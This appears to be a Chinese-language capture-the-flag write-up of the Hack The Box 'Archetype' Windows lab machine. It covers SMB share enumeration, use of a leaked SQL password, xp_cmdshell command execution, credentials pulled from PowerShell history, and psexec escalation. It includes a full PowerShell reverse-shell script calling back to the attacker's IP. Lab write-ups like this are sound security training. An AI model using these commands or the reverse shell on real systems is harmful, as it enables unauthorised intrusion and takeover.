0x00 信息搜集
nmap扫一下端口看看开了什么端口

发现是个windows的机器,然后看到445端口开着,这个是一个让我们可以在局域网中轻松访问各种共享文件夹或共享打印机的端口,使用的是SMB协议。
0x01 开始渗透
那用smb来看看共享的内容有什么好了,kali自带了一个smbclient工具哦:
smbclient -N -L //10.10.10.27/
(图中那个斜杠是当时试的,没有查具体格式,懒得改了)

貌似只有bakups可以打开的样子

里面有一个配置文件,我们get下来看看里面有什么

发现里面有一个sql的连接密码,结合之前扫端口扫出来的1433端口是开启的,尝试连接一下,命令是
sqsh -U "ARCHETYPE\sql_svc" -P M3g4c0rp123 -S 10.10.10.27:1433 -m pretty
然后连接成功了

判断是否拥有sysadmin权限,用这句SELECT IS_SRVROLEMEMBER('sysadmin')

返回1证明是有的,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行
首先尝试执行以下命令:
EXEC xp_cmdshell 'whoami';

说明是没有问题的,也就是说现在拥有了数据库的shell,也可以使用部分操作系统的命令。
看看当前目录:
EXEC xp_cmdshell 'cd'

看看桌面有什么内容:EXEC xp_cmdshell 'dir ..\..\users\sql_svc\Desktop'

发现了user.txt,那就type一下就好了,但是这种方式一直没有办法回显,于是我们选择通过其他方法连接。
首先需要下载并安装impacket工具,然后通过mssqlclient来连接数据库(python3下的,不然会报错)

这下子再来读取user.txt:
xp_cmdshell type C:\Users\sql_svc\Desktop\user.txt

0x02 获取操作系统普通用户权限(nc监听不到,废了)
这个是因为我们需要一个直接的操作系统shell来进行后续的操作,所以要建立一个powershell的反向shell文件shell.ps1(注意其中的ip地址为接收shell的kali主机的地址,我的ip是10.10.14.165),代码如下:
$rev_ip = "10.10.14.165"
$client = New-Object System.Net.Sockets.TCPClient($rev_ip,443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
接下来要用python搭建一个http服务器,监听80端口来供靶机下载shell.ps1文件,我这边kali的python版本是2.7,所以命令是sudo python -m SimpleHTTPServer 80
,python3的话应该是这句python -m http.server 80

在kali中启动netcat监听443端口,等待靶机反向shell连接(端口号需要与shell.ps1中相对应):

由于nc一直没有反应所以,我的这一步并没有成功进行下去,到那时我觉得毫不影响后续提权操作。
0x03 直接提权
拿到user的flag之后尝试一下检查历史命令:
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
看一下回显结果

意外发现有administrator用户名和密码,可以使用Impacket中的psexec.py来提权(python3下的,不然会报错)
psexec.py administrator@10.10.10.27
然后成功之后,type一下root.txt,获得flag:
type C:\Users\Administrator\Desktop\root.txt

0x04 补充内容
smbclient的命令
-N:匿名登录
-L:获取共享资源列表
windows下的命令
get:下载文件到本地机器。
type:用来显示ascii码文件的内容,尤其可以用来在屏幕上快速、简便地显示TXT文本文件的内容。
安装impacket
推荐参考这篇文章如何在kali下安装impacket
如果脚本运行有问题
检查一下自己的ip有没有写对,\与/要分清楚,python3下和python2下命令是不一样的,而且脚本运行环境也不一样,推荐python环境2,3共存。
网友评论